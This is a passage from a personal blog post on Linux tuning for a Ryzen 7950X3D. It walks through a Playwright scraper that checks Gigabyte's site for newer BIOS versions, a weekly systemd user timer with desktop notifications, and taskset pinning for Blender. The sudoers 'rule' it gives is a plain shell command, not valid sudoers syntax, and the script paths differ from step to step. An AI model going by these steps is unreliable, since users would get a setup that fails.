<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>🔍 Verifying Ryzen 7950X3D Tuning on Linux
✅ CPU Driver: amd-pstate-epp
✅ EPP Mode: performance
✅ CPPC Detected: Yes
✅ Preferred Core Ranking: Yes
✅ Running Kernel: 6.14.2-zen1-1-zen

✅ All key Linux-side Ryzen tuning options appear active.</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Saying that, theoretically, all the performance bits seem to be active and working. If one of them isn&rsquo;t, ask ChatGPT what to do for your setup.</p>
<h2>Checking the BIOS Version<span class="hx:absolute hx:-mt-20" id="checking-the-bios-version"></span>
    <a href="#checking-the-bios-version" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Many motherboard manufacturers offer software, for Windows, to automatically download and update the firmware. But in Gigabyte&rsquo;s case, there&rsquo;s no Linux support. To check which version is currently installed, without having to enter the BIOS, on Linux there&rsquo;s this command:</p>
<p><code>sudo dmidecode -s bios-version</code></p>
<p>In my case, it now returns F33 (March 2025 version). Now, to compare whether that&rsquo;s the newest version, I just have to manually go to Gigabyte&rsquo;s crappy site, which in my case is <a href="https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-10/support"target="_blank" rel="noopener">this link</a>. For your specific model, and manufacturer of course, this link will vary.</p>
<p><a href="https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-1x/support#support-dl"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/72l1if05q22u1ogowfzws9rtz95j" alt="x670e support page"  loading="lazy" /></a></p>
<p>To make it worse, it seems the content is loaded asynchronously by javascript, so if you try to use <code>wget</code> or <code>curl</code> from the command line, the content won&rsquo;t have loaded yet.</p>
<p>I decided to write a dumb script to solve that. First, in case you don&rsquo;t use <code>mise</code> like I do (see my Github project <a href="https://github.com/akitaonrails/omakub-mj"target="_blank" rel="noopener">Omakub-MJ</a> for a setup just like mine), install Node manually like this:</p>
<p><code>sudo pacman -S nodejs npm</code></p>
<p>Create some directory for the project and from there do:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>npm init -y
npm install -g playwright
npx playwright install</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Create a file <code>check_bios_playwright.js</code> with this content:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="p">{</span> <span class="nx">chromium</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;playwright&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kr">async</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">browser</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">chromium</span><span class="p">.</span><span class="nx">launch</span><span class="p">({</span> <span class="nx">headless</span><span class="o">:</span> <span class="kc">true</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">page</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">browser</span><span class="p">.</span><span class="nx">newPage</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Load support page
</span></span></span><span class="line"><span class="cl">  <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="kr">goto</span><span class="p">(</span><span class="s1">&#39;https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-10/support&#39;</span><span class="p">,</span> <span class="p">{</span> <span class="nx">waitUntil</span><span class="o">:</span> <span class="s1">&#39;domcontentloaded&#39;</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Click the BIOS tab manually (it triggers JS to fetch content)
</span></span></span><span class="line"><span class="cl">  <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">click</span><span class="p">(</span><span class="s1">&#39;id=bios-count&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Wait for BIOS version element to load
</span></span></span><span class="line"><span class="cl">  <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">waitForSelector</span><span class="p">(</span><span class="s1">&#39;.div-table-body-BIOS .download-version&#39;</span><span class="p">,</span> <span class="p">{</span> <span class="nx">timeout</span><span class="o">:</span> <span class="mi">60000</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Grab the first BIOS version listed
</span></span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">biosVersion</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">$eval</span><span class="p">(</span><span class="s1">&#39;.div-table-body-BIOS .download-version&#39;</span><span class="p">,</span> <span class="nx">el</span> <span class="p">=&gt;</span> <span class="nx">el</span><span class="p">.</span><span class="nx">innerText</span><span class="p">.</span><span class="nx">trim</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;🌐 Latest BIOS Version on Gigabyte site:&#39;</span><span class="p">,</span> <span class="nx">biosVersion</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kr">await</span> <span class="nx">browser</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">})();</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Now create a bash script <code>check_bios_update.sh</code> with this content:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get directory of this script (absolute path)</span>
</span></span><span class="line"><span class="cl"><span class="nv">SCRIPT_DIR</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span><span class="nb">cd</span> <span class="s2">&#34;</span><span class="k">$(</span>dirname <span class="s2">&#34;</span><span class="si">${</span><span class="nv">BASH_SOURCE</span><span class="p">[0]</span><span class="si">}</span><span class="s2">&#34;</span><span class="k">)</span><span class="s2">&#34;</span> <span class="o">&amp;&amp;</span> <span class="nb">pwd</span><span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get current BIOS version</span>
</span></span><span class="line"><span class="cl"><span class="nv">CURRENT</span><span class="o">=</span><span class="k">$(</span>sudo dmidecode -s bios-version <span class="p">|</span> tr -d <span class="s1">&#39;[:space:]&#39;</span> <span class="p">|</span> tr <span class="s1">&#39;[:lower:]&#39;</span> <span class="s1">&#39;[:upper:]&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Run the Playwright JS script in the same directory</span>
</span></span><span class="line"><span class="cl"><span class="nv">LATEST</span><span class="o">=</span><span class="k">$(</span>node <span class="s2">&#34;</span><span class="nv">$SCRIPT_DIR</span><span class="s2">/check_bios_playwright.js&#34;</span> <span class="p">|</span> grep -o <span class="s1">&#39;F[0-9]\+&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Output</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;🖥  Current BIOS: </span><span class="nv">$CURRENT</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;🌐 Latest BIOS:  </span><span class="nv">$LATEST</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$CURRENT</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;</span><span class="nv">$LATEST</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;✅ You are up to date.&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;⬆  BIOS update available!&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Do a <code>chmod +x</code> to make it executable and, if all goes well, you&rsquo;ll get a response like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[sudo] password for akitaonrails:
🖥  Current BIOS: F33
🌐 Latest BIOS:  F33
✅ You are up to date.</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>It&rsquo;s a cannon shot to kill a fly, but this will use headless Chromium to pull the page, load the javascript, and then use CSS selectors to find the BIOS version, compare it to the one on your machine, and see if it&rsquo;s up to date.</p>
<p>If it isn&rsquo;t, there&rsquo;s no way around it: you have to manually go to the site, download the ZIP file, extract it onto a pen drive, and boot into the BIOS to update manually. But at least I can quickly check from time to time with one command line now.</p>
<h2>Automatic BIOS Version Check<span class="hx:absolute hx:-mt-20" id="automatic-bios-version-check"></span>
    <a href="#automatic-bios-version-check" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I decided I don&rsquo;t want to remember to run that script manually, so the best thing is to create a user systemd service and check automatically every week. If there&rsquo;s a new version, create a notification to GNOME so I can see it visually and automatically open the download page for me.</p>
<p>First, I need to give my user access to the dmidecode command to check my current BIOS version without having to type a password with <code>sudo</code>. To do that, let&rsquo;s create a new sudoers rule like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo visudo -f /etc/sudoers.d/bios-check</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>It&rsquo;ll open an empty file where I fill in like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo /usr/sbin/dmidecode -s bios-version</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And don&rsquo;t forget to set the correct permissions on this file:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo chmod 0440 /etc/sudoers.d/bios-check</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>With that it won&rsquo;t ask for a password to run that command anymore, since we&rsquo;re going to put it in a background service running automatically. Obviously it&rsquo;s not safe to allow running <code>sudo</code> without a password, so we restrict it exclusively to allow it only on that specific binary and nothing else.</p>
<p>In the same directory as the other files with playwright installed and so on, I create a <code>bios-update-check.sh</code> with this content:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Path to your Playwright BIOS scraper script</span>
</span></span><span class="line"><span class="cl"><span class="nv">JS_CHECKER</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/bios-check/check_bios_playwright.js&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">NODE_BIN</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>which node<span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># URL of your motherboard&#39;s BIOS support page</span>
</span></span><span class="line"><span class="cl"><span class="nv">URL</span><span class="o">=</span><span class="s2">&#34;https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-10/support#support-dl-bios&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get current BIOS version</span>
</span></span><span class="line"><span class="cl"><span class="nv">CURRENT</span><span class="o">=</span><span class="k">$(</span>sudo dmidecode -s bios-version <span class="p">|</span> tr -d <span class="s1">&#39;[:space:]&#39;</span> <span class="p">|</span> tr <span class="s1">&#39;[:lower:]&#39;</span> <span class="s1">&#39;[:upper:]&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get latest BIOS version from Gigabyte site</span>
</span></span><span class="line"><span class="cl"><span class="nv">LATEST</span><span class="o">=</span><span class="k">$(</span><span class="nv">$NODE_BIN</span> <span class="s2">&#34;</span><span class="nv">$JS_CHECKER</span><span class="s2">&#34;</span> <span class="p">|</span> grep -o <span class="s1">&#39;F[0-9]\+&#39;</span> <span class="p">|</span> head -1<span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> -z <span class="s2">&#34;</span><span class="nv">$LATEST</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  notify-send <span class="s2">&#34;BIOS Check&#34;</span> <span class="s2">&#34;⚠️ Failed to fetch latest BIOS version from Gigabyte&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$CURRENT</span><span class="s2">&#34;</span> !<span class="o">=</span> <span class="s2">&#34;</span><span class="nv">$LATEST</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  notify-send -u normal <span class="s2">&#34;🔔 BIOS Update Available!&#34;</span> <span class="s2">&#34;Current: </span><span class="nv">$CURRENT</span><span class="s2"> → Latest: </span><span class="nv">$LATEST</span><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">Opening the download page...&#34;</span> --app-name<span class="o">=</span><span class="s2">&#34;BIOS Checker&#34;</span>
</span></span><span class="line"><span class="cl">  xdg-open <span class="s2">&#34;</span><span class="nv">$URL</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>It&rsquo;s the same as the previous script but now using <code>notify-send</code> to send messages to Gnome (in KDE it&rsquo;s different) and using <code>xdg-open</code> to open the URL in the system&rsquo;s default browser. Configure differently for your system. Don&rsquo;t forget to make it executable and test:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>chmod &#43;x ~/.local/bin/bios-update-check.sh</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Now to create the systemd service for my user (different from creating one for the system that runs with more permissions. I only need this running at my user level), so I create the file <code>~/.config/systemd/user/bios-check.service</code> with the following content:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[Unit]
Description=Weekly BIOS version checker

[Service]
Type=oneshot
ExecStart=/home/akitaonrails/.local/bin/bios-check/bios-update-check.sh</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Now the timer service to run every week, called <code>~/.config/systemd/user/bios-check.timer</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[Unit]
Description=Run BIOS version check weekly

[Timer]
OnCalendar=weekly
Persistent=true

[Install]
WantedBy=default.target</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And enable the timer:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>systemctl --user daemon-reexec
systemctl --user daemon-reload
systemctl --user enable --now bios-check.timer</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>By Systemd convention, a timer [blabla].timer will execute the service with the same name [blabla].service. That&rsquo;s why you need both. If you enable the service directly, it&rsquo;ll run only once and exit. To know if it&rsquo;s enabled correctly do the following:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>✦ ❯ systemctl --user list-timers

NEXT                          LEFT LAST PASSED UNIT             ACTIVATES
Mon 2025-04-21 00:00:00 -03 2 days -         - bios-check.timer bios-check.service

1 timers listed.
Pass --all to see loaded but inactive timers, too.</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And that&rsquo;s how you can automate some things on your system and get more out of your Gnome.</p>
<h2>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I only started this journey this time because it occurred to me that it had been months since I&rsquo;d last updated the motherboard firmware, and then I took the chance to tune some things I hadn&rsquo;t done before. Things like PBO were on automatic (so I was leaving performance behind; I remember that last time it had been unstable but I didn&rsquo;t dig in to find out why), things like XMP/EXPO were already on. But now I think I really enabled everything I could.</p>
<p>It had also been years since I tried out the Linux-Zen kernel, so I took the chance to test it now. And as I said, so far it&rsquo;s stable. Since I&rsquo;ve started learning Blender and pulling more CPU and memory, I figured it was worth spending time trying to extract the most from my machine. 3D modeling is totally CPU/RAM, more than GPU.</p>
<p>Oh yes, speaking of Blender, one last thing. Remember my Ryzen has 1 CCD, which is that 1 die with 96MB of L3 cache. The best thing to do is create affinity for Blender with that die and prevent it from landing on the core with only 32MB of L3 cache.</p>
<p>On Linux, to do that, here&rsquo;s the command line:</p>
<p><code>taskset -c 0-15 blender-4.3 &amp;</code></p>
<p>The taskset command will hint to the scheduler that blender should stay on threads 0 to 15 (where the V-Cache is) and not 16 to 31 (which only have 32MB). That way, in theory, I&rsquo;m giving Blender the best chances to run at the best possible performance on this machine. Less important programs like the browser, the terminal, if they land on the 32MB core, no problem.</p>
<p>I do the same thing in libvirt/qemu when I run emulated Windows: I configure libvirt to bring up the VM tied to the 96MB CCD and leave the other core for the Linux host. Speaking of BIOS, by the way, to run VMs you have to enable SVM and IOMMU, which usually ship disabled because virtual machine support steals a bit of the CPU&rsquo;s performance. Maximum performance is with them <strong>disabled</strong>. If you&rsquo;re not going to use VMs, leave them off.</p>
